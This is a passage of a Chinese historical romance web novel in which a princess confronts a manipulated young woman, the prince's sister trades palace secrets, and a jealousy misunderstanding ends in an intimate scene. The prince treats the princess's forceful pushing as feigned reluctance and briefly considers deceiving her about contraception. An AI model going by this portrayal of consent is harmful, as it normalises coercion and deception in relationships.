王夫人一笑,话声有条不紊,“此番我们前来,并无他意,王妃妙笔丹青,此画颇有风骨,倒有几分像那松白隐士。” 听到此处,岑璠不由自主看向自己画好的水墨,袖子微微向后挡了挡。 她回过眼,却见那妇人拉着余灵均到跟前,那余氏姑娘头比刚才更低了些。 她用了尊称,“您是?” 王夫人抱歉一笑,行礼道:“是妾身失礼了,妾身王郁之妻秦氏,此番前来拜见,其实是想让王妃看一幅画。” 她上前些,将那幅画抖开。 那又是一幅晋王的画像,和上次那幅被晋王扔在地上的,笔锋极为相似。 她眼神微冷,“王夫人想做什么?” “是妾身多有冒犯,王妃也是懂画之人,妾身只是想劳请看看,这幅丹青究竟作的如何?” 这话中并未有挑衅,甚至有些急切,还有些愤慨。 而那余家姑娘头越来越低,像一副快哭了的样子。 王夫人似也觉得不妥,又补充道:“王妃有什么便直说就好,妾只是想要王妃说一个答案。” 说罢,王夫人向她拱手一礼。 岑璠自觉得当不得此礼,微微颔首。 她目光移向王夫人手里那幅画,那画像上的人虽有人的模样,可并不像他,与他的神态更是全然不似。 岑璠又仔细看了看,似是发现症结所在。 她直道:“此画画得并不好。” 说罢,余灵均看着她,嘴角下撇,微微颤抖,一双水汪汪的眼睛中似是震惊,可更多的是委屈。 岑璠抿唇,却是又重复了一遍,“此画不好。” 她看向那幅画,下断结论,“此种笔法,锋利粗旷,不适合画人。” 余灵均似是怔住,一动不动。 王夫人又一拱手,就连王莳也赶紧跟着行礼。 王夫人转过身,“王妃所言,你也该听到了,我用你说过,你那父兄在骗你,你为何偏不信呢!” 岑璠微微皱眉,不明所以。 王莳注意到她的不解,向她解释,“王妃不知,姨母她此生只早年得一子,小的几个都是女儿,余家家主没本事,却心有怨念,几个女儿都是十三便远嫁,要么做续弦,要么就为人妾室。” “我这表妹是她们姊妹中相貌最好的一个,我从小与她长大,知道她为何会变成如今这幅模样…” 说着说着,王莳眼睛便红了,捂住心口,“表妹她儿时爱画的是山水,学的也是画山水,从前画的是极好,可余家主却时常责骂,她那兄长也是没有心的,对她百般嘲弄……” “殿下相貌俊美,初来晋阳时她那兄长便打起歪心思,怂恿她将晋王画下来,将画交给余家主,两人一唱一和,百般夸赞,说她将殿下画的惟妙惟肖,其实不过是想让表妹心甘情愿,主动委身晋王,好让余家飞黄腾达罢了。” “表妹她从小未曾得过父兄褒赞,禁不住这样夸,从此便只画晋王,不画山水,那对父子说她是爱慕晋王,她便也信以为真,把自己活成这副样子……” 王莳攥紧了手,“说句不好的听的,这和训一条听话的狗有什么区别?” 听到此处,就连岑璠也微微皱眉,她抬眼,却见余灵均啜泣。 “表姊,求你别再说了,父兄他们……” 话还没说完,王夫人拽住她的手臂,紧紧捏着,打断道:“你表姊说的不错,你就是被那对父子当畜生养!他们两个男人骗你,难道你自己也要骗自己吗?” 王夫人重重摇头,“我那亲妹妹走的早,最放心不下的也是你,前些年我忙于打理家事,竟不曾想那对亲父子竟会这样待你们……” “我对不起她……”王夫人仰头,兜住眼泪,须臾后拉起她的手,“王妃说的你也该听见,该清醒才是,你从今日起和我回王家,他们不把你当人养,以后我来养如何?” 王夫人握住她的手,薄薄的眼皮可以看到几道褶皱,眼眶湿润,却能看到满眼期待。 余灵均泣不成声,“他们不会骗我,他们…” 岑璠静静看着,听到这话,忽而走上前去,一只手掐住她的下巴,逼她抬起头。 余灵均睁大眼,被迫同她对视。 岑璠抬起手,那一巴掌并不算重,连声音都没多响,余灵均却偏开头,久久未正过头看她。 其他几人愣了愣,却终究没说什么。 岑璠放开手,冷道:“你再哭,我还会打。” 不知道是不是还没缓过神,余灵均倒是当真不哭了。 岑璠抬步向桌案走去,拿起还未洗净的笔,塞到她手上,推她向前一步,“去画。” 余灵均犹犹豫豫向前走,快走到桌前,似是恍惚,轻问道 :“画什么?” 岑璠指了指山,放下手,道:“就画山水。” 说罢,槿儿反应过来,将岑璠画的那幅画撤了下来,重新铺上一张纸。 余灵均回头,瞧见岑璠那张冷脸,身子一颤,赶紧擦了擦脸上的眼泪,一抿唇,开始动笔。 岑璠闭起眼,似是疲惫。 槿儿见状,又叫人在不远处铺好席,晾好温茶,让几人坐下。 她背对余灵均,盘膝而坐,闭目养神,不想再多说什么。 王夫人也知道此番前来多有打扰,向一旁王莳摇了摇头,未再搭话,只静静看着。 元衡来到此处时,余灵均还在画。 他来时便听闻此事,瞧见三人在席上端坐,睨了眼一旁站立的墨群,到底是顾及王氏夫人的面子,说话不是很难听,却颇有兴师问罪的意思,“本王想知道,这是怎么一回事?” 岑璠睁开眼,道:“是我让她们过来的。” 话音刚落,只听见不远处一声轻微的笔落声。 那只蘸墨的笔从石上滚下来,滚到了她的脚边。 岑璠低头,捡起那支笔,向笔滚来的方向看去。 那余灵均手抬在空中,似不是因为晋王来了才掉笔,只低头盯着自己画的那幅画。 岑璠站起身,朝她走去,让槿儿带上她画的那幅水墨图,还有那幅画像。 元衡不放心,也好奇她要做什么,跟在她的身后。 走到余灵均身旁的那块石头上,岑璠眼看了看那幅画。 虽不能算得上多有意境,却到底比刚才那张画像好不少。 她一手持一张画,两张一起抖开,冷声问道:“你自己看看,这幅山水比你先前画的好多少,又与我的这幅水墨差多少?” 余灵均缓缓抬起头,久久未答,目光紧紧盯着她手上那幅画像。 那幅画像的本尊就在一旁,而她未看一眼。 岑璠唇渐渐抿起。 忽而,她将自己画的那幅画扔在地上,双手握上剩下一幅画,用力一扯。 那幅画像应声而裂,成了两半。 余灵均眼睛微动,抬头看她。 岑璠直视她呆滞的目光,当着她的面,双手一点点将那幅画撕得粉碎。 元衡就这么静静看着,未怒,却也没多欣喜。 一幅画就这么被撕得认不出样子,岑璠抬手一扬,。 碎纸在空中洋洋洒洒,似轻如鸿毛,似淡如灰尘,随她的裙带轻扬,广袖飘动,最后一片片全都落在了地上。 第55章 第五十五章想让她做个妒妇 最后一张纸飘洒在桌子上,余灵均眼睛颤了颤。 岑璠低下身,捡起地上的那卷画卷起来,准备离开。 “王妃能将这幅画送给我吗?”余灵均道。 岑璠看了她一眼。 那双眼中已经收起了泪,比起刚才要清明许多,终于能看得清那眼底的颜色。 她伸出手去,将那幅画交到余灵均手中。 “多谢王妃。”余灵均站起身,转过身去。 潭底水声清泠,似有微风顺着水流而下,她站在那里,竟也是娉婷窈窕。 她向王莳笑了笑,道:“我和表姊回去。” * 那几人走时,向她恭敬地行了一礼。 王老夫人送了她一只石榴簪,寓意多子多福。 那老夫人说,当年这簪子还是余灵均的母亲送给她的,刚带上没多久她便诊出了身孕。 一只簪子在手里,上面的几颗红宝石红得像要滴出血来,在光下熠熠生辉, 岑璠百无聊赖坐在那辆牛车里,转动那只簪子,牛车虽稳,那只簪上的流苏还是轻轻摇摆。 她知道王夫人也是好意,可送这物件给她,倒是不如不送…… 一只手伸来,那只簪子忽地被人轻轻抽走。 元衡端详一二,扶住她的发髻,寻了个位置,将簪子簪在她的发上。 他看了许久,移不开目。 岑璠语气不善,笑道:“殿下可也是想要那多子多福?” 元衡没说什么,移开目光,端坐道:“孤只是觉得这簪子好看罢了。” 他低头,淡然道:“那药孤一直在喝,这几日在别院也都在喝…” “算数的。” 现在不想生便不生罢。 她那日说的对,孩子终归会长在她肚子里,若她不想,会伤了孩子,也会伤了自己。 他会慢慢磨,就像雕琢细玉一样,总有一天,她会心甘情愿留在他身边。 她还小,他也不需要太多孩儿,再过几年再生也不迟。 他只需要有一个儿子,不论是皇位还是王府,总要有人来继承,或许到时候她还愿意为他生个女儿,他一定会好好宠她,让她成为天下最幸福的小姑娘,绝不会让她变成元斓那样…… 他想着想着便笑了,笑容温柔似一束和煦的阳光,很是陌生。 岑璠知道他贼心不死。 或许是对他太过了解罢,她知道这不过是他的缓兵之计。 她从未信过他说的。 岑璠摇了摇头,轻轻一笑,那笑声似从鼻腔中哼出。 元衡问道:“笑什么?” “没什么。”岑璠敷衍,“在想余家的人罢了。” 元衡心情仍旧好,和声问道:“皎皎可是在介意那余姑娘?孤——” “她是个可怜人。”岑璠打断道:“被家里父兄欺骗罢了,就算介意,也谈不上对她介意。” “你刚才没生气?” “当然生气。”岑璠睨他一眼,“为不相干的人寻死觅活,除了哭便只有怨,我替她生气。” “没有别的了吗?” 岑璠眼中似有嘲讽,“殿下是还想听到什么?” 元衡到底是一点自知之明,倒也没有厚颜无耻地追问。 他只是记得,上一世的她对这些事十分介意和敏感,他记得那余家女找上门时,她夜里如何奋力讨好他,也记得他答应不纳余家女后,她曾捧着点心在靠近书房的回廊前徘徊了三日。 她介意那些和他有牵扯的女人,介意到对一块儿玉佩念念不忘。 而现在她说,她替那余氏生气。 他不得不承认,自己心里有一种骄傲在作祟,隐隐期盼她还能像上一世一样患得患失,将他占为己有,做一个妒妇。 可在看她时,那双眼中只有不卑不亢,和上一世再也无法重合。 这一世的她,将那余姑娘拉出深渊,为了帮那郑姑娘连命都可以不要…… 这样的她,其实也是好的。 可元衡还是不甘心,他问道:“那郑姑娘不也为了崔公子寻死觅活,王妃倒是不替郑姑娘生气?” 岑璠道:“他二人认识十七年,两情相悦,把彼此当做亲人,怎可相比。” 元衡扬起唇角,道:“王妃此言差矣,这世上有的是人,即使并非两情相悦,即使是遭人厌恶,也甘愿为另一人飞蛾扑火。” 岑璠道:“殿下是说画本子里吗?” 元衡刚扬起的唇压下,“你说什么?” 岑璠道:“这种人要么便是画本子看多了,要么便是傻,我看着觉得生气,难道不妥?” 平心而论,当她第一次在七夕夜听到有人为情郎跳河时,她没觉得生气,下意识能联想到的也只有那些话本中的情形。 她只是感慨女子情深,甘愿为一人赴死,感慨女子的心灰意冷,真心错付。 可当她真正见到有人在她面前,为了一个男人寻死觅活,哪怕是那人并看不见,也要用簪子对着自己,她才恍然觉得可怜。 对别人不痛不痒,哗众取宠,自己平白丢了性命,却只会成为别人的笑柄。 面前的男人长了副好皮相,最容易骗的便是情窦初开的小姑娘,那余家的父兄,正是利用这一点,让余家姑娘变成这副模样。 岑璠看着面前的人,渐渐觉得这张面容害人不浅,万般可憎。 她剜了一眼,撇过头去。 元衡不知道自己如何忽然惹得她白眼,愣 了半晌也想不通。 他只道:“你只是没遇到罢了,等以后你便会知道,孤说的是对的了。” 岑璠没有回应,似只是肩膀一动,掀开车帘,置若罔闻。 元衡脸沉了一路。 车停在王府门前时,一辆马车迎面而来。 这四方邻里的车,元衡都有印象,眼前这辆不是这附近的车,可却有些眼熟。 府门外的侍卫有所警惕,元衡让岑璠先回去,独自走近。 停在那辆马车前时,一只纤手掀开帘子,马车内的女子一副异族舞姬的打扮,露出一副灿烂的笑容。 那女子做了声口型,“皇兄。” 元衡仔细看了看她,转头就走。 元斓迅速下车,小步跟在他身后,倒是真像那带回来的舞姬,眼神忐忑,四处张望。 门口的侍卫从未见过晋王从外面带过来女人。 这些年晋王不近女色,好不容易娶回王妃,那可是捧在手心上宠。 这哄王妃还来不及,怎会带回来舞姬? 几人又不禁想到刚才王妃进门时,一副冷脸愤怒的样子,猜测变得更真了。 不过想想也是,晋王龙章凤姿,身份尊贵,王妃不过一介六品官的外室女,却孤傲清高,想必也是招了厌烦。 侍卫出于本能拦下了女子,却并未出声呵斥。 元衡道:“让她进来。” 一声令下,侍卫便放行。 元斓朝几人莞尔一笑,跟元衡朝正殿走。 她四周环视,闲庭信步,就好像是在自己的宫殿一般,“说来兄长这晋阳,皇妹还没来过呢。” 元衡身旁无人,却还是压低声音,道:“皇妹可知擅自出宫可是大罪。” 元斓阴阳怪气,“兄长都要将我嫁予那萧晗了,还关心这个?” 元衡冷笑,“你为这个而来?” “不然呢?”元斓转了个圈,身上的银饰随裙摆清脆作响,未见怒意,“我让人快马加鞭写信给皇兄,却多日未等到回信,我还以为兄长在晋阳出了事,想了想便自己来了。” 她凑近了些,歪头问道:“兄长应该不会怪我不请自来吧?” 元衡低眼看她,只问道:“你怎么来的?” 元斓道:“前些日那萧晗来宫中,邀我去宫外共游几日。” 刚说了一句,元衡眼神冷然,重复道:“那厮邀你出宫,共游几日?” 元斓弯了唇,收回些眼中的犀利,显然心情好了不少。 她慢条斯理,似在说旁人一般,不急不恼,“咱们父皇什么德行,皇兄也应该清楚,他答应了,我就算是变也得给他变出来个人去陪萧晗。” “我呢,就让绥儒帮宫女易容,送出宫去与萧晗共游,再让他也帮我易了容,来晋阳找皇兄。” 元衡听到绥儒这个名字,眉竖起,“孤记得和你说过,莫要太亲信此人。” “绥儒他懂得多,我用的也顺手,皇兄放心,我用人晓得分寸。”元斓话音一顿,眼尾微翘,轻叹一口气,“倒是皇兄您,皇妹千里迢迢而来,还以为是皇兄出了什么事,没想到皇兄有闲心陪嫂嫂去别院散步,却不愿意看一眼我这个亲妹妹八百里加急的信,倒真令人心寒…” 元衡余光看她,未有心虚,“你想说什么?” 元斓收起眼角的泪,直言了当,“我不想嫁给那萧晗。” 元衡说,“你是想让本王给你想法子?” 元斓轻轻一笑,“自然不是,我也知道皇兄为难,只是想让皇兄答应我一件事。” “那个萧晗我见过,相貌平平,身形气质也如文弱书生,若他日父皇死了,皇兄帮我与他和离,在帮我养几个相貌好的,我便不闹,如何?” 她这番话显然不是在说假的,甚至期待更多。 元衡直视她,冷声道:“皇妹要做那前朝骄淫无度的公主,兄长我可是不愿学那荒唐残暴的废帝。” 元斓似是并不意外,什么也没再说,嘴角却始终噙着笑。 两人已经走到了正殿书房,元斓三步两步跨过殿门,东张西望,时而走在他前面,时而与他并排。 韩泽迎面撞来时,元斓冲他明媚一笑。 这一笑,韩泽不明所以,看了看女子的服饰,还有身旁的晋王,随而大惊失语,下意识回头看了看来时的路。 从来王府至今,韩泽第一次不知道该怎么办才好,他强装镇定,退开一步低头行了礼,久久未抬头。 元衡却没多想,带着元斓径直来到湖心安静的亭子。 来到这里,元斓看了一圈,才装模作样“哎呀”一声,客气道:“差点忘了,我这副打扮应当是不合适来这里,若是被皇嫂知道,皇嫂应当不会介意吧?” 闻言,元衡眼睛微低,手指动了动,可到底还是没怎么失了分寸,刚张开唇便闭上。 若是她知道,莫说介意,说不定还一副好心肠,要张罗着给胡姬赎身呢… 他自己在这里慌什么? 想到此处,元衡心里苦涩。 他并未这么说,若无其事走进亭子,道:“皇妹扮成这样,若是为了惹你皇嫂添堵,夜里睡不好觉,现在便可以走了。” 元斓倒是见好就收,眼睛一转,换了态度,拉住他的衣摆,晃了晃,“小妹只是玩笑话而已,皇兄莫要当真了。” “元斓此番来也并非是无理取闹,这些日子我得知了一个秘密,是关于嫂嫂了,同兄长做个交换如何?” 第56章 第五十六章嫌他脏 元衡瞥向她,道:“你皇嫂的事孤能知道的比你少?” 元斓眼眸弯起,“那倒是不一定。” 元衡打量她几眼,“既是你皇嫂的秘密,那便是不愿说,孤知道做甚?” 她浅笑未消,感慨道:“皇兄倒真是想得开,若是那萧晗有兄长一半好,留在本宫府上,其实也未尝不可…” 她看向元衡,话一转,“不过皇嫂的秘密皇兄不想知道,那关于皇后的事,皇兄该不会也不想知道吧?” 说罢,那双眼眸抬起,一双澄亮的眼里似带着好奇。 元衡道:“这倒是有些意思,你说来听听,孤未必不答应。” 话音落,只见元斓叹了口气,似是为难,“我知道的这个秘密可不简单,皇兄反悔了怎么办?” 元衡淡淡道:“本王一言既出,驷马难追,从不反悔。” 元斓并不上当,从袖中取出一张早就准备好的字条,“皇兄若是想听,那便立字据如何?” 元衡低眼看了看那张字条,字条上的条目列地清晰,连那找男宠的事都赫然在列,倒是丝毫不觉得羞愧。 他多看了几眼,道:“你去找人拿纸笔来。” 元斓站起身,提起裙摆,向湖外的人找来纸笔,亲自磨好墨,将那支笔双手奉给元衡,“皇兄,请。” 元衡看了看她,大笔一挥,书下自己的名字。 “这样可是够了?要不要本王再给你盖个手印?” 元斓抿嘴,“自然是不用。” 她指尖触上那封信,想要拿走,元衡却是将信按住。 他道:“皇妹得先说,是什么事?” 元斓收回手,轻轻一笑,“前些日子,我的人打听到一些事。” “皇兄可还记得冷宫中那个疯女人?” 元衡神色蓦然一冷,道:“当然记得。” 当年母亲入冷宫,正是因为处置了那个女人。 那个女人原先是宫中的昭仪文氏,甚得父皇宠爱,却是与家中 表亲私通,诞下孽种,母亲发现后,父皇处置了文氏和其表亲的两族,却只是将那女人幽禁冷宫,并未要其性命。 那文氏却为此狠毒了母后,在元斓的满月宴上,买通宫人给元斓下毒,幸好母亲及时发现 母亲要她的命没错,可父皇那时想打压杨氏,竟是借此要治母亲的罪。 母亲为人高傲,没等皇帝治罪便自行去了冷宫…… 他自三岁起便在那里,活了十年。 想到此处,元衡握紧了拳。 元斓知道他同她一般,心中有恨,继续说:“近些日我听说,那件事的背后其实有皇后的手笔。” 元衡“哼”的冷笑、将那封信收了回去,“十年前的事,现在才有人告诉你,这种鬼话皇妹愿意信,本王不信。” 元斓并不怒,“我知道兄长思虑周全,可这崔家不是才被查抄?此种消息,先前一直握在崔氏手中,我若没有把握,也断不会同兄长以此做交换。” “你有何证据?” “那晚追捕崔氏有我的人,说巧不巧追到了崔纪府上的管事,我让他说些秘密,之后好放过他的家人,他便同我说起当年这件事。” “帮那疯女人下毒的宫婢是崔氏的人,曾经在崔氏的远方表亲孙氏府上做事,绥儒顺着线索查过,发现当年事发不久,整个孙氏便迁去了清河附近,皇兄说这巧不巧?” “那又与皇后有何关联?” “崔家不便进宫,去游说那疯女人下毒,将鸩毒交到她手上的,可是咱们现在这位皇后。” 元衡半信半疑,试探道:“那皇妹可有抓到那孙氏的人。” 元斓一叹,“这就是皇后的高明之处,崔氏被夷三族时,皇后做了手脚,将孙氏添入灭族的名单,清河那边的崔氏族人不愿因为一个孙氏与皇室再起冲突,便主动将人交了出去,现在便是…死无对证。” 她最后一句似是无奈,可却是轻巧。 元衡手又握紧了些,连带那封立好的字据被捏出了褶皱。 他道:“既是死无对证,这个秘密有何用?” “皇兄不如听我说完。”元斓坐到他身边,捏住他手里那封信,有条不紊道:“孙氏虽是已经没了,可当年崔氏为了牵制皇后,到底也留了后手,那疯女人死时,身边有一名婢女被崔氏救下,听说是被送往了彭城。” “彭城?” 元斓颔首,强调道:“就是嫂嫂从前所在的那个彭城,当年崔氏大公子在彭城做县官,安置的此人。” “不过究竟送去到了哪里,现在还是否活着,也只有崔氏父子知道了,兄长若是想查,不妨派人去彭城去一趟。” 话毕,她低眼看向那张被元衡压住的字据,一只手捏住那张纸,另一只手抚住他的手背,“兄长现在可以给我了吧?” 元衡回神,手微抬,那封信便到了元斓手里。 元斓满意地笑了笑,将那封信叠起来,迅速塞进袖子。 就要道谢时,却听元衡问道:“你刚才说的,她的秘密是什么?” 元斓愣了一下,挑眉问道:“谁?” “你皇嫂。” 元斓笑得虚假,“这个秘密,兄长又打算用什么换?” “你若不说,便别想带着这封信出大门,” 元斓一撇嘴,似是嗔怪,“兄长莫要这样说,皇妹不过是开个玩笑,皇兄想知道,我便说。” 说罢,她手掩住唇,凑近了些,同元衡低声说了什么。 * 王府正殿,乳娘脸色一阵红一阵白,倒着步子来到后院。 岑璠正给珝儿写信。 自从她来到晋阳,送往虞家的信一封都没有回信。 不过想想也是,她和家里的父亲翻脸,父亲定是不会让珝儿回信。 说不定那些信,珝儿都没见过。 想到此,岑璠笔顿了顿,随后却又提起笔。 他们不让他和珝儿见面,她便一封一封写,他总会看到,, 乳娘气喘吁吁跑到她面前,五官挤成一团,“姑娘,都什么时候了,咱们怎么还在这里写信呀…。” 岑璠写完一个字,才放下笔,问道:“怎么了?” 乳娘站近了些,压住声道:“姑娘刚才同殿下回来,难道不知此事?” 岑璠凝眉,“何事?” 乳娘啧的一声,跪坐在她身旁,一字一句道:“我听说,殿下刚才领回来一个舞姬,现在正在湖那边的亭子呢…” “槿儿说你和殿下又吵了架,府里的人也说王妃是因为生气才一个人回来,我还以为姑娘知道这事呢……” 岑璠听她说,眉越皱越紧,可须臾间便又展开。 她摇头,重新拿起案上的毛笔,沾了点墨汁,淡然道:“他不会。” 乳娘微微后仰,拍了下大腿,“这有什么不会,喜鹊就在湖边,看得一清二楚!那女子和殿下拉拉扯扯,后来还要了纸笔,身契都签了去,还…” 乳娘抿了抿唇,四周望过去,指了指自己的唇,“还上了嘴呢。” 听到此处,岑璠终于停住笔。 却也只是说了一句,“知道了。” 乳娘恨铁不成钢,“老奴早都说过,姑娘该对殿下上点心,那些个手段,不管多上不得台面,该使的时候便要使出来,男人总是受用。” 岑璠咬着牙听完这席话,将笔投进笔洗。 乳娘见状,倒是觉得她开窍,“老奴觉得,姑娘到底是应该去一趟,起码要知道那舞姬长什么样,为人是不是谄媚,该闹也得闹一场,该灌的药也得灌……” 岑璠未有应答,只说到:“乳娘先去叫人准备水吧,我想沐浴。” * 元衡将元斓安排在偏殿余万。 此次她来晋阳属实是胆大妄为,他同她说好,明日便立刻安排人送她出城回洛阳。 安排好去彭城打探的人后,元衡便回到后殿。 天色渐暗,殿内灯火却亮着,隐隐可以看到一道倩影坐在妆台前。 想到元斓说的秘密,元衡眼眸染上烛光的暖色,踏步走进殿内。 房内清香还未散去,她长发半湿,面色红润,沐浴过后的肌肤更加雪白水润。 老媪正在帮她梳发,见到他似面有难色,看了看对镜端坐的姑娘,而后行礼告退。 元衡走过去时,步子放轻。 岑璠旁若无人,拿起妆台前的梳子,自己动手梳头。 她似是没怎么给自己梳过,扯头发的力气比那老媪重很多,也比他平日给他梳时重。 元衡见状,从她手里接过梳子,帮她一点点梳开,“别扯坏了……” “殿下刚才去哪里了?”岑璠却是问道。 元衡很少听到她这么问,心中讶异,却又欣喜,比起刚才知道元斓说的秘密还要欣喜。 他知道她厌恶元斓,并不想惹她不快,刻意省了姓名,“府上来了人而已。” 岑璠嘴角微提,什么也没说。 元衡有所察觉,放下梳子,一臂将她揽近了些,低头嗅起她的发。 清香扑鼻,令人沉醉。 “怎么了?”他轻问。 岑璠还是什么也没说,元衡却越来越沉醉。 “皎皎是不是还有事没同孤说过?”他未等她回答,闭上眼,在她耳边哑声问道:“孤听说,那彭城的松白先生,是皎皎对不对?” 岑璠不禁回头,一双杏眼满是不可置信。 她这般反应,元衡便是知道元斓并未诓骗他,碰上她的额,轻喃:“皎皎为何不说呢?” 时至今日他才知,他娶到的并不是什么外室女,而是名扬天下的丹青手,是一个名副其实的才女。 也难怪,她的每幅画都那样栩栩如生,连他这个不懂画的人都觉得好。 她便是这样一块儿璞玉,需要细细雕琢,越是深探,便越是让人喜爱。 什么外室女,那根本不是他的王妃该被人指骂的,这样一个身份,才该配上她。 那唇近在咫尺,岑璠却是怔愣,她下意识否认,“那是母亲的名号罢了,我不过是继承了她的名号,不能算作是我的。” 元衡轻抚她的面颊,反问道:“怎么不算?” 他额头越贴越紧,呼吸铺洒在脸上,唇贴住的一刹,岑璠便是清醒了。 他只是蜻蜓点水吻了一下,又噙住她的耳垂,轻轻吸吮,“不告诉孤,你说该不该罚?” 说罢,他牙尖轻轻咬了一下。 岑璠猛地开始搡他,元衡倒也习惯,任由她搡,纹丝不动。 她搡不动他,左右最后都会妥协,他同往常一样,就当她欲拒还迎便好。 他不断说服自己,渐渐地吻到她的鬓边。 只是这一次,岑璠搡的实在太过用力, 扯住他的衣襟,似是想要勒死他一般。 元衡终于意识到不对,抓住她的手,面色冷然,“王妃是不愿?” 岑璠手还抓在他的衣裳,闻言又收紧些,咬牙用力将他拽近,恶狠狠道:“我嫌殿下脏,不行?” 第57章 第五十七章枕边风 元衡到底有些不明所以,只以为是他发现了她的名号,又冒犯到了她。 他不再提这件事,顺着她的意思,“本王去沐浴可好?” “再洗也脏。”岑璠这么说,手还拽在他的衣上,冷声道:“你碰那舞姬可以,纳成妾也可以,别带脏我。” 元衡愣了愣,想通了其中关节,忽而笑了起来,那双常年被冰霜覆盖的眼都似被春风消融, 他道:“那不是舞姬,是元斓…她来了晋阳,她明日便走。” 岑璠手松了点,唇却还紧紧抿住,显然有些不信。 他这个人浑身缺点,唯一能看得过去的,也就是不算脏。 她知道男人三妻四妾是常事,可她一想到她的父母,就觉得和其他人共用一个男人是件非常恶心的事,令人作呕。 她可以允许他碰她,对她而言不痛不痒,可在她还在的时候,她不想染上脏。 元衡以为她不信,按住她的手背,道:“孤说的是真的,你若想见,孤现在带你去见她。” 他眼中仿佛带有星星光亮,像是飞蛾围绕萤火,紧紧盯住她,“你放心,无论过去还是现在,孤就你一个……” 岑璠抿唇,松开了手,回过头去,坐在那里久久未说话。 元衡又揽住了她,语调微扬,问道:“王妃刚才是不是在生气?” 岑璠由他揽着,也不知道为何,会听到背后的一声轻笑。 他似是心情特别好,越揽越紧,那唇贴在她的耳边,扫在她的耳廓,似是羽毛轻拂,轻问道:“皎皎是以为孤要纳妾,所以才生气对吗?” 岑璠皱了眉,脊背上一阵寒芒,许久前不曾有过的恶心感又泛起来。 她不动声色躲开他,“殿下多想了,若殿下真想要纳妾,我管不了,也不会管,只要别带脏我便是。” 元衡静静听,眼底似有一瞬黯淡,而后又闭起眼。 他声音低沉,说得肯定,“孤不会纳妾,永远不会脏了自己,全都给你一个人,本王说话算数的,皎皎放心…” 话语在耳畔萦绕,他手指缠绕着她的头发,埋在她的肩上,咬住她肩上的寝衣。 忽而衣裳被扯开一点,露出的肩头发凉,似惩罚一般吸吮,逐渐麻到发疼。 岑璠闭上眼睛,手握到发白,终究没说什么难听的话,只提醒道:“殿下可有喝过药?” 他似顿住,肩头的疼痛消失些许,从镜中见得交颈缠绵。 他的头低埋在她颈间,猝不及防间,那牙尖抵在她的肩上,狠狠刺了一下。 尖锐的细痛让岑璠肩膀颤抖,她强撑着冷静,“殿下刚才说过,自己说话算数,难不成是要反悔?” 他似是真的停了,那张俊美的面容在铜镜中,看不清眼中什么底色。 他从背后静静抱住她,呼吸平和,几乎听不见什么声音,只有鼻息铺洒在颈间,从胸口漏下。 松开她时,肩头尚有一片湿润,雪肤映上红梅,分外明显。 他问道:“王妃是不信孤?觉得孤会反悔?” 岑璠并没有被这番无辜的质问欺骗,她回头睨了一眼,冷问道:“殿下说,不会管五公主的事,做到了吗?” 元衡停住了话,唇不可察觉地收了一下,道:“她跑到晋阳来,也是实在没了法子,就这一次……。” 岑璠默不作声地拢紧衣裳,冷哼一声。 那声冷哼饱含不屑和嘲弄。 元衡彻底闭上嘴,不知该再解释什么。 他确实骗了她,而她并不好骗。 “本王先去沐浴…”他只道。 再回来,便是全身上下彻底干干净净了。 紫芯正在房中,立在榻边,手里端着盆水,岑璠正用帕子擦着肩。 是他刚才吻过的那边地方。 元衡身后跟着婢女,那婢女留下药后便离开。 岑璠有所察觉,轻瞟一眼,便不擦了,把帕子扔到了水里,“先下去吧。” 紫芯告退,房门轻合时,岑璠道:“殿下以后要喝这药,能不能去外面?” 元衡心下顿了顿,却也打心底里赞同她这一说法。 当着她的面喝药,起初觉得能震慑她一二,后来便是他自己也觉得别扭,像是在例行公事,少了些乐趣。 旁的男人在行房前喝药,是为了提神助兴,补足阳气,他好好的,又不是给不起她。 她让他到外面喝,那如果哪日他骗她,就说忘记喝了,其实也未尝不可… 恶劣的念头划过,不过也就是一瞬,元衡便摇了摇头。 她定是不会忘记像今天一样提醒他喝,若是他骗她有了孩子,她估计会恨他一辈子。 他虽是赞同她,说出的话却是刻意地讨好,一副做小伏低的姿态,“孤都听皎皎的。” 说罢,他俯身进帐。 帐内温热,重影交叠,帐幔逐渐浮起一层层波浪,忽而传来一阵莺啼,伴随着粗重的喘息。 “本王的这些,都是给皎皎的。” ……。 一场风雨,夜半才停。 颈上的落梅连成片,深浅不一的好几道痕迹,就连大腿上也有… 元衡抱她又清洗了一遍,还要反复强调自己不脏。 “孤已经洗干净了,孤不脏,也不会带脏王妃。” 岑璠已经抬不起手臂,听到只觉得烦躁,却也没力气反驳。 她约莫也知道,他这个人自己也以此为傲,得意自满。 因为他自己从没碰过别的女人。 这个世道便是这样,女子干干净净便是理所因当,男人多情,便和她的父亲一样,被说成是风流,但凡干净些的男人便能被当成是稀世珍宝,能被拿出来大肆褒赞,更有甚者记在诗词歌赋中,为后人广知。 向来都是这样…… 房间内的那盏鎏金蟠花烛台留有光亮,男人抱着她经过,烛火随影子倾斜。 男人颀长的影子打在墙上,将烛火吹灭,便是一室寂然。 温热的胸膛自背后紧贴过来,将她四周裹住。 轻轻一声夜语传来,“皎皎放心,孤不会言而无信…” 岑璠意识越来越模糊,逐渐合上眼,便什么也听不见了。 * 翌日天色尚且朦胧,岑璠睡的熟,一双藕臂半露留在外面,一只手被压在枕下。 昨日留下的痕迹在她颈上越来越明显,元衡不禁靠近。 他未打扰她清梦,蜻蜓点水一吻,便更衣出了房门。 韩泽正等在门外,见到元衡端正地行了一礼。 昨日韩泽便打听了前因后果,知道偏殿住着的那位是五公主。 那位五公主从前在宫里受过委屈,胆小怯懦,若不是有殿下宠护,只怕和大皇子一样,连自己的住所都不曾有,早早被送出宫外了。 不曾想公主此番竟会被婚事逼到了这种地步,能孤身跑来晋阳。 想来是昨日未能谈妥,一大早那位公主便找来正殿。 门外的侍卫将其拦了下来,只是那动静实在有些大,韩泽不得不亲自出来摆平。 那五公主倒是没有无理取闹,被人挡在门外,一副楚楚可怜的模样,见到他也没半点指责,只塞给他一张字条。 那字条上的字倒是和他见到的可怜大相径庭,字迹潦草,似带有怒火,赫然两个大字,“还我。” 公主拜托他将那字条交到晋王殿下手里,让他立刻便去… 韩泽知道那屋昨夜后半夜才歇下,借十个胆子也不敢进屋,便只能徘徊在这里。 幸好殿下醒得早,不然他便里外不是人。 韩泽将那张纸条双手奉上,道:“殿下,这是公主送来的。” 元衡扫了眼那字条,未有半分波澜,“去收拾东西,本王收留她一晚,她也该回洛阳了。” 韩泽愣了愣,仔细揣摩话中的意思。 “在犹豫什么?” 韩泽回过神,道了声遵命,便吩咐人去准备马车干粮。 元斓还在殿外等着,看到有人陆陆续续往外面搬东西,起初并没察觉到奇怪。 